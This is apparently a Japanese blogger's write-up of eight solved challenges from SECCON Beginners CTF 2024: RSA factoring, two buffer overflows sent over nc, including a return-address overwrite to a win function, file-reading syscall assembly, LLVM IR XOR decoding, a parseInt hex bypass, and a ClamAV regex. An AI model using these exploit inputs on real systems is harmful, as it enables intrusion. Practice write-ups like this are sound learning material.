2024/06/15, 16に開催されたSECCON Beginners CTF 2024に1人チームで参加し、8問解いて173位*1だった。
別件で忙しくあまり解けなかったものの、それでもbeginner問題はWeb以外全部解けて良かった。またバイナリを読む力も上がっていると感じた。Webは1問も解けなかったが…
crypto
Safe Prime
サイト使ったらあっさりNを素因数分解できたのでそれで解きました…
https://www.alpertron.com.ar/ECM.HTM
終わってから気づいたが、多分n = pq = 2p^2 + 2
から作った2次方程式を解いてpを求め、そこからq, phy, d, ... と求めていくのが自然かと思う。
import os # from Crypto.Util.number import getPrime, isPrime from binascii import unhexlify n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 e = 65537 # サイトで素因数分解して得たp, q p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393 q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787 phy = (p-1) * (q-1) d = pow(e, -1, phy) m = pow(c, d, n) m = unhexlify(hex(m)[2:]) print(m)
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}
pwnable
simpleoverflow
何も考えず長い文字列を投げるだけ。
$ nc simpleoverflow.beginners.seccon.games 9000 name:000000000000000000 Hello, 0000000000000000A � ctf4b{0n_y0ur_m4rk}
simpleoverwrite
winに飛ばすだけ。まずwin関数のアドレスを調べる。
$ objdump -d chall (略) 0000000000401186 <win>: 401186: 55 push %rbp 401187: 48 89 e5 mov %rsp,%rbp (略)
0x401186に飛ばせばいいとわかったのであとはBOF。
$ echo -e "aaaaaaaaaaaaaaaaaa\x86\x11\x40\x00\x00\x00\x00\x00" | nc simpleoverwrite.beginners.seccon.games 9001 input:Hello, aaaaaaaaaaaaaaaaaa�@ return to: 0x401186 ctf4b{B3l13v3_4g41n}
reversing
assemble
stage1, 2は自明なので飛ばす。
stage3
ref: https://qiita.com/sxarp/items/aff43dd83b0da69b92ce
mov rax, 0x6f6c6c6548 push rax mov rax, 0x1 mov rdi, 0x1 mov rsi, rsp mov rdx, 0x5 syscall
stage4
ref1: https://nxmnpg.lemoda.net/ja/2/open
ref2: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
mov rax, 0x0 push rax mov rax, 0x7478742e67616c66 push rax mov rax, 0x2 mov rdi, rsp mov rsi, 0x0 mov rdx, 0x0 syscall mov rdi, rax mov rax, 0x0 mov rsi, rsp mov rdx, 0x34 syscall mov rax, 0x1 mov rdi, 0x1 mov rsi, rsp mov rdx, 0x34 syscall
cha.ll.enge
cha.ll.enge
はLLVMのIRと呼ばれる中間コードの形式で書かれている。つまりC言語ソースコードからLLVM IRが作られ、そこから最終的な実行可能ファイル(バイナリ)が出力される。
このcha.ll.enge
の処理を中盤まで読み解き、コメントを付加したものを以下に示す。各行のセミコロン以降がコメントである。
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16 @.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1 @.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1 ; Function Attrs: noinline nounwind optnone uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 ; int %2 = alloca [70 x i8], align 16 ; char[70] input? %3 = alloca [50 x i32], align 16 ; int[50] flag? %4 = alloca i32, align 4 ; int %5 = alloca i32, align 4 ; int %6 = alloca i64, align 8 ; long i? store i32 0, i32* %1, align 4 ; %1 = 0 %7 = bitcast [50 x i32]* %3 to i8* call void @llvm.memcpy.p0i8.p0i8.i64(i8* align 16 %7, i8* align 16 bitcast ([50 x i32]* @__const.main.key to i8*), i64 200, i1 false) %8 = call i32 (i8*, ...) @printf(i8* noundef getelementptr inbounds ([14 x i8], [14 x i8]* @.str, i64 0, i64 0)) ; msg for input %9 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %10 = call i32 (i8*, ...) @__isoc99_scanf(i8* noundef getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8* noundef %9) %11 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 0 %12 = call i64 @strlen(i8* noundef %11) #4 %13 = icmp eq i64 %12, 49 ; strlen==49? br i1 %13, label %14, label %48 14: ; preds = %0 store i32 0, i32* %4, align 4 ; %4 = 0 store i32 0, i32* %5, align 4 ; %5 = 0 store i64 0, i64* %6, align 8 ; %6 = 0 br label %15 15: ; preds = %38, %14 %16 = load i64, i64* %6, align 8 ; i? %17 = icmp ult i64 %16, 49 ; %16 < 49 ? br i1 %17, label %18, label %41 18: ; preds = %15 %19 = load i64, i64* %6, align 8 %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19 %21 = load i8, i8* %20, align 1 ; input[i] %22 = sext i8 %21 to i32 %23 = load i64, i64* %6, align 8 %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23 %25 = load i32, i32* %24, align 4 ; flag[i] %26 = xor i32 %22, %25 ; %26 = input[i] ^ flag[i] %27 = load i64, i64* %6, align 8 %28 = add i64 %27, 1 %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28 %30 = load i32, i32* %29, align 4 ; %30 = flag[i+1] %31 = xor i32 %26, %30 ; %31 = input[i] ^ flag[i] ^ flag[i+1] store i32 %31, i32* %5, align 4 ; %5 = %31 %32 = load i32, i32* %5, align 4 ; %32 = %5 %33 = icmp eq i32 %32, 0 ; eq? br i1 %33, label %34, label %37
参考:
- https://qiita.com/Anko_9801/items/df4475fecbddd0d91ccc
- https://qiita.com/luth1171/items/ef34f3211d6bc195dc21
- リファレンス:https://releases.llvm.org/2.0/docs/LangRef.html
以上の中間言語から、だいたい以下のような処理を行っていることがわかる。
// コンパイルしてないので動かなかったらごめんなさい char flag_parts = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7}; char input[70]; // 入力された文字列 for (int i = 0; i < 49; ++i) { if (input[i] ^ flag_parts[i] ^ flag_parts[i+1] != 0) exit(1); }
ここから、flag_parts[i] ^ flag_parts[i+1]
という処理を行った文字列がflagとなっていることがわかるので、この処理に従って解読を行えばよい。
以下は解読用のpythonスクリプトである。
data = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7] data_xored = [chr(data[i] ^ data[i+1]) for i in range(49)] print("".join(data_xored))
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
misc
getRank
scoreをpostすると、サーバ側でchall関数に渡されたあとにgetRank関数に渡され、ランキングが算出される。ここで1位と算出されればflagが得られる。
ただし以下のコードを見ると、ランキング1位の人は10**255
点を取っており、さらに10**255
より大きなスコアを持つ人にハンデをもたせる処理(具体的にはスコアを10**100
分の1にする処理)が動くため、正攻法では無理がある。ハンデを見越して10**355
以上の値を渡そうとしても、300文字以上の文字列は弾かれてしまうためうまくいかない。
const RANKING = [10 ** 255, 1000, 100, 10, 1, 0] (中略) function chall(input: string): Res { if (input.length > 300) { // 300文字以上は弾かれる return { rank: -1, message: "Input too long", }; } let score = parseInt(input); if (isNaN(score)) { return { rank: -1, message: "Invalid score", }; } if (score > 10 ** 255) { // 10**255点より大きいスコアは10**100分の1にされる // hmm...your score is too big? // you need a handicap! for (let i = 0; i < 100; i++) { score = Math.floor(score / 10); } } return ranking(score); }
そこでparseInt()
に0x
から始まる文字列を渡すと、勝手に16進数として認識してくれる機能を悪用する。
つまり、
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
(Fが298桁)という数値を送信することで、ハンデがあっても1位になれる。
※送信の際はburpsuiteでリクエストを改変するのが楽だと思う。
ctf4b{15_my_5c0r3_700000_b1g?}
clamre
flagファイルの拡張子から、ClamAVのLogical Signatureだとわかる。
参考:https://docs.clamav.net/manual/Signatures/LogicalSignatures.html
ClamoraFlag; Engine:81-255,Target:0; 1; 63746634; 0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
正規表現の部分だけ取り出す
^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$
\N
は左端から数えてN番目の()
に対応するので、その通り置換する
参考:https://software.fujitsu.com/jp/manual/manualfiles/M060003/J2S19580/01Z2A/nd05/nd000036.html#:~:text=%5CN(%E3%83%90%E3%83%83%E3%82%AF%E3%82%B9%E3%83%A9%E3%83%83%E3%82%B7%E3%83%A5%E6%95%B0%E5%AD%97),%E3%81%A8%20)%20%E3%81%AB%E8%A9%B2%E5%BD%93%E3%81%97%E3%81%BE%E3%81%99%E3%80%82
\3 -> (4)
\7 -> (\x33)
\10 -> (\x5f)
\11 -> (\x6c)
\14 -> (\x75)
^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)(4)(\x6b1)(\x6e\x67)(\x5f)(4)(\x6c)(\x6c)(\x5f)(\x54\x68)(\x33)(\x5f)(\x480)(\x75)(5)(\x33)(\x5f)(\x52)(\x75)(\x6c)(\x33)(5)\})$
16進数を文字列に戻し、不要な()^$\
を消す
$ echo -e "^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)(4)(\x6b1)(\x6e\x67)(\x5f)(4)(\x6c)(\x6c)(\x5f)(\x54\x68)(\x33)(\x5f)(\x480)(\x75)(5)(\x33)(\x5f)(\x52)(\x75)(\x6c)(\x33)(5)\})$" | tr -d \(\)\^\$\\ tr: warning: an unescaped backslash at end of string is not portable ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
*1:全962チーム